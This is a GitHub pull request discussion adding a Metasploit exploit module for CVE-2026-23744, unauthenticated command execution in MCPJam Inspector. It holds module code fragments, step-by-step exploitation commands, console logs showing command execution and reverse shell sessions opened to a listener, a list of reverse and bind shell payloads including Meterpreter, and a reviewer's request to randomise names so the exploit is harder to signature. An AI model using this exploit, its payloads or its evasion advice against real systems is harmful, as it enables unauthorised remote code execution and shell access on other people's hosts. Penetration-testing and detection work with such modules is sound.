Add MCPJam Inspector command execution exploit - #21655
Conversation
| ## Testing | ||
|
|
||
| ### Setup a vulnerable MCPJam Inspector instance | ||
|
|
There was a problem hiding this comment.
Would a docker container like https://hub.docker.com/layers/mcpjam/mcp-inspector/v1.4.2/images/sha256-b80bee6d8b2be2d3b8dd631d14eecc3fd861dd10fb4bbc2a2f29e7578aabe98b work?
There was a problem hiding this comment.
Addressed in da5dfb2. I added the official mcpjam/mcp-inspector:v1.4.2 container as the primary reproducible test setup, kept the npm/source-build alternatives, and validated both check and command execution against the official container.
|
|
||
| ## Tested Payloads | ||
|
|
||
| The following Unix command payloads were tested successfully against Linux MCPJam Inspector deployments: |
There was a problem hiding this comment.
I'd love to see a meterpreter payload included in the testing- something like cmd/linux/http/x64/meterpreter_reverse_tcp should work and give a meterpreter session on the host.
There was a problem hiding this comment.
Addressed and tested in da5dfb2. I expanded the target metadata to Unix/Linux, removed the PayloadType compatibility restriction that excluded Linux command-fetch adapters, and defaulted FETCH_COMMAND to WGET for this target. Confirmed I can successfully open cmd/linux/http/x64/meterpreter_reverse_tcp as the node user on the official v1.4.2 Linux x64 container and added the scenario to the documentation.
| def random_server_id(prefix = 'msf') | ||
| "#{prefix}-#{Rex::Text.rand_text_alphanumeric(8)}" | ||
| end | ||
|
|
||
| def server_id | ||
| configured_id = datastore['SERVER_ID'].to_s | ||
| return random_server_id if configured_id.empty? | ||
|
|
||
| configured_id | ||
| end |
There was a problem hiding this comment.
I don't think you need these if you use a default value for the option above?
There was a problem hiding this comment.
Addressed in da5dfb2. It now generates a default SERVER_ID when the module is loaded. The separate server_id accessor has been removed, and execute_command reads the datastore value directly. The check operation still uses separate randomized check IDs. I also confirmed there are no issues with repeated command execution using the same configured SERVER_ID.
Add an official Docker test setup, support and document the Linux x64 Meterpreter fetch payload, and simplify SERVER_ID handling.
|
@bwatters-r7 Thanks for the review. I pushed da5dfb2, which addresses all three comments:
Validation included v1.4.2 check/command execution, x64 Linux Meterpreter session as node, using the same SERVER_ID multiple times, checking Ruby syntax, msftidy, msftidy_docs, and git diff --check. This should be ready for another look when it's convenient. |
jheysel-r7
left a comment
There was a problem hiding this comment.
Thanks for the module, @earthenvessel. Just a couple comments. Testing was as expected:
Testing
cmd/unix/generic
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/mcpjam_inspector_rce) > set RPORT 6274
RPORT => 6274
msf6 exploit(multi/http/mcpjam_inspector_rce) > set SSL false
[!] Changing the SSL option's value may require changing RPORT!
SSL => false
msf6 exploit(multi/http/mcpjam_inspector_rce) > check
[*] Starting transient Node.js MCP command server as server ID check-QHCtRe2v
[+] 127.0.0.1:6274 - The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
msf6 exploit(multi/http/mcpjam_inspector_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf6 exploit(multi/http/mcpjam_inspector_rce) > set FETCH_OUTPUT true
FETCH_OUTPUT => true
msf6 exploit(multi/http/mcpjam_inspector_rce) > set CMD id
CMD => id
msf6 exploit(multi/http/mcpjam_inspector_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting transient Node.js MCP command server as server ID check-W2qpBAx4
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[*] Starting transient Node.js MCP command server as server ID msf-yjgcn2JD
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] Command result: uid=501(jheysel) gid=20(staff) groups=20(staff),101(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),81(_appserveradm),399(com.apple.access_ssh),701(com.apple.sharepoint.group.1),100(_lpoperator)
[*] Exploit completed, but no session was created.
cmd/unix/reverse_nodejs
msf6 exploit(multi/http/mcpjam_inspector_rce) > options
Module options (exploit/multi/http/mcpjam_inspector_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
EXEC_METHOD mcp_tool yes Command dispatch method (Accepted: mcp_tool, direct_sh)
FETCH_OUTPUT false yes Fetch command output from the MCP tool response
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 6274 yes The target port (TCP)
SERVER_ID msf-Pv4aj6wS yes Server ID to use for the transient MCP connection
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for MCPJam Inspector
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_nodejs):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 9001 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix/Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/mcpjam_inspector_rce) > run verbose=true
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:9001
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting transient Node.js MCP command server as server ID check-RzMkjNcD
[+] The target is vulnerable. MCPJam Inspector executed a benign command through the unauthenticated connect endpoint
[*] Starting transient Node.js MCP command server as server ID msf-Pv4aj6wS
[+] MCP command server connected
[*] Executing payload through MCP tools/execute
[*] MCP tool response: Command dispatched
[*] Command shell session 1 opened (127.0.0.1:9001 -> 127.0.0.1:63754) at 2026-08-25 09:20:21 -0700
| }, | ||
| 'License' => MSF_LICENSE, | ||
| 'Author' => [ | ||
| 'earthenvessel' # Metasploit module |
There was a problem hiding this comment.
| 'earthenvessel' # Metasploit module | |
| 'Louay-075', # PoC author | |
| 'earthenvessel' # Metasploit module |
There was a problem hiding this comment.
Addressed in 298d112. Added Louay-075 as the PoC author.
| def mcp_tool_payload(fetch_output: false) | ||
| fetch_output_literal = fetch_output ? 'true' : 'false' | ||
|
|
||
| %{ |
There was a problem hiding this comment.
Would you be able to randomize the all variables/ function names that are being created in the mcp_tool_payload? That will help reduce the signaturability of the exploit. I see that these variable names get referenced later on by different functions (execute_mcp_tool etc.) in the module, maybe setting them as instance variable or functions might help facilitate this.
There was a problem hiding this comment.
Addressed in 298d112. Each transient MCP server now gets a new randomized context containing the JavaScript variables and functions, the MCP tool name, and the parameter names. The same context is used through server startup and tool execution. No changes to required Node.js and JSON-RPC/MCP names.
|
@jheysel-r7 Thanks for the follow-up feedback. I addressed the comments and pushed the latest changes. Ready for another look. |
|
Thanks for making those changes @earthenvessel, retested on the latest commit and everything looks good 👍 |
Description
This PR adds a new exploit module for CVE-2026-23744, an unauthenticated command execution vulnerability in MCPJam Inspector.
The module targets the
/api/mcp/connectendpoint. Vulnerable versions accept a JSONserverConfigobject containing acommandandargsarray, then use those values to start an MCP server. When MCPJam Inspector is exposed on a routable interface, an unauthenticated remote attacker can abuse this behavior to execute operating system commands as the user running MCPJam Inspector.The module currently supports Unix command payloads. By default, it starts a transient stdio MCP server and executes the selected Metasploit command payload through MCPJam Inspector's MCP tools API. A direct
/bin/sh -cexecution path is also available withEXEC_METHOD=direct_sh.This change also adds module documentation under
documentation/modules.During testing, the GitHub Security Advisory's affected range appeared to be narrower than observed behavior. The advisory lists affected versions as <= 1.4.2, but source builds through v1.4.6 were exploitable. The first fixed GitHub tag identified during testing was v1.5.0, which requires session-token authentication for the relevant API endpoints.
Related Issue: N/A
Breaking Changes
None
Reviewer Notes
Start with:
modules/exploits/multi/http/mcpjam_inspector_rce.rbdocumentation/modules/exploit/multi/http/mcpjam_inspector_rce.mdThe module intentionally targets Unix command payloads only. Windows support is left out of scope for this initial PR because it was not tested against a Windows MCPJam Inspector deployment.
The
checkmethod performs the following:Unauthorized/Session token required.Verification Steps
msfconsoleand load the module:checkand verify that the target is reported vulnerable:Expected result:
cmd/unix/generic:Expected result: The module executes
idand prints command output from the target.Expected result: A command shell session opens.
check.Expected result:
Test Evidence
The module was tested against MCPJam Inspector versions built from GitHub source:
Successful payload coverage included:
•
cmd/unix/generic•
cmd/unix/reverse_nodejs•
cmd/unix/reverse_bash•
cmd/unix/reverse_perl•
cmd/unix/reverse_python•
cmd/unix/reverse_netcat•
cmd/unix/bind_nodejs•
cmd/unix/python/pingback_reverse_tcp•
cmd/unix/python/shell_reverse_tcpExample vulnerable target check:
Example command execution:
Example reverse shell:
Example fixed-version check against v1.5.0:
Quality checks:
Environment
AI Usage Disclosure
AI assistance was used during development and testing. Hermes Agent was used to assist with module and documentation drafting and test orchestration. All code and documentation were manually reviewed/tested.
Pre-Submission Checklist
documentation/moduleslib/changes)